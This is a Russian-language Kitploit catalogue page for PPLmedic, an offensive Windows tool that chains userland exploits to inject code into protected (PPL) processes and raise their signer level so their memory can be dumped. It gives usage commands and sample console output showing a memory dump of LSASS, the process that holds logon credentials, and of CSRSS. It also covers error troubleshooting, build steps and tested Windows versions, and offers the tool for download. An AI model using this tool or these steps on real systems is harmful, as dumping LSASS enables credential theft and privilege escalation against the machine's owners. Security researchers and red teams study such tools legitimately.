Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PPLmedic — Сделайте дамп памяти любого PPL с помощью цепочки эксплойтов в userland | Kitploit
Инструменты/GitHubGitHub/itm4n/pplmedic
Повышение привилегийЭксплуатацияПост-эксплуатацияRed TeamingРазработка Полезной НагрузкиArchived
GitHubitm4n/pplmedic

PPLmedic

Сделайте дамп памяти любого PPL с помощью цепочки эксплойтов в userland

Репозиторий
3533933 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PPLmedic

Этот инструмент реализует цепочку эксплойтов Userland для внедрения произвольного кода в PPL с типом подписи Windows и повышения до типа подписи WinTcb. Эти техники были изначально описаны Джеймсом Форшоу (также известным как @tiraniddo) в его сообщении в блоге Injecting Code into Windows Protected Processes using COM - Part 1.

Чтобы узнать больше об этом инструменте, прочитайте сопутствующее сообщение в блоге здесь:

  • Обход PPL в Userland (снова)

💣 Дисклеймер

Я бы охарактеризовал этот инструмент как продвинутое доказательство концепции (Proof-of-Concept). Стоит дважды подумать, прежде чем использовать его в реальном проекте. Он безопасен в использовании, если его не прерывать, что, например, не может быть гарантировано в присутствии EDR.

Он изменяет важные ключи реестра, связанные со службой Windows Update Medic. В худшем случае, если эти ключи реестра не будут восстановлены должным образом, эта служба перестанет нормально функционировать, но это не приведёт к сбою ОС.

📝 Использование

Предварительные требования:

  • Привилегии: Администратор или SYSTEM с SeDebugPrivilege
  • Платформа: Windows 10/11 или Windows Server 2019/2022
  • Архитектура: Поддерживается только x86_64
root@kitploit:~
REM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]

Дамп PPL-Windows или ниже (например, LSASS):

root@kitploit:~
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe                      756 Services                   0     20,028 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]

Дамп PPL-WinTcb (например, CSRSS):

root@kitploit:~
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe                      520 Services                   0     26,420 K
csrss.exe                      608 Console                    1     57,548 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]

📋 Тесты

🚧 Известные проблемы

Ошибка: "Unexpected error or timeout"

Вы получаете следующую ошибку, потому что эксплойт вышел по тайм-ауту при попытке создать удалённый COM-объект TaskHandler. Обычно это признак того, что целевая служба WaaSMedicSvc завершилась сбоем. Это можно подтвердить следующим сообщением: [!] Service WaaSMedicSvc is no longer running. Стоит попробовать запустить инструмент ещё раз.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]

Ошибка: "Reached the maximum number of attempts"

Вы получаете следующую ошибку, потому что эксплойту не удалось записать корректный каталог объектов менее чем за 1000 попыток. Этот предел служит предохранителем, чтобы целевая служба не потребляла слишком много ресурсов. Стоит попробовать запустить инструмент ещё раз.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]

Ошибка: "Failed to write LdrpKnownDllDirectoryHandle value"

Вы получаете следующую ошибку, потому что при вызове LaunchDetectionOnly или LaunchRemediationOnly произошла непредвиденная ошибка. Однако это должно происходить довольно редко. Стоит попробовать запустить инструмент ещё раз.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]

Ошибка: "Failed to cache sign ..."

Вы получаете следующую ошибку, потому что эксплойту не удалось кэшировать подпись DLL полезной нагрузки. Оплок, установленный на файле каталога, вероятно, никогда не срабатывал, поскольку файл уже был открыт ядром. Вы можете попробовать запустить инструмент позже (для Windows 11 обратитесь к разделу «Тесты»).

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]

🏗 Инструкции по сборке

Это решение Visual Studio содержит два проекта (исполняемый файл и DLL полезной нагрузки), которые необходимо скомпилировать в определённом порядке. Всё уже предварительно настроено, так что вам нужно просто следовать этим простым инструкциям. Скомпилированная DLL полезной нагрузки автоматически внедряется в итоговый исполняемый файл.

  1. Откройте решение в Visual Studio 2019.
  2. Выберите Release / x64 (x86 не поддерживается!).
  3. Build > Build Solution.

🎖 Благодарности

  • @tiraniddo - Injecting Code into Windows Protected Processes using COM - Part 1
    https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
Скачать инструмент
Версия WindowsPPL-WindowsPPL-WinTcbНаблюдение
Windows 10 22H2 Build 19045.2673✔✔N/A
Windows 11 22H2 Build 22621.1344⚠❌Частые сбои службы + эксплойт поддельной кэшированной подписи, похоже, не работает.
Windows Server 2019 Version 1809 Build 17763.4010✔✔N/A
Windows Server 2022 Version 21H2 Build 20348.1547✔✔N/A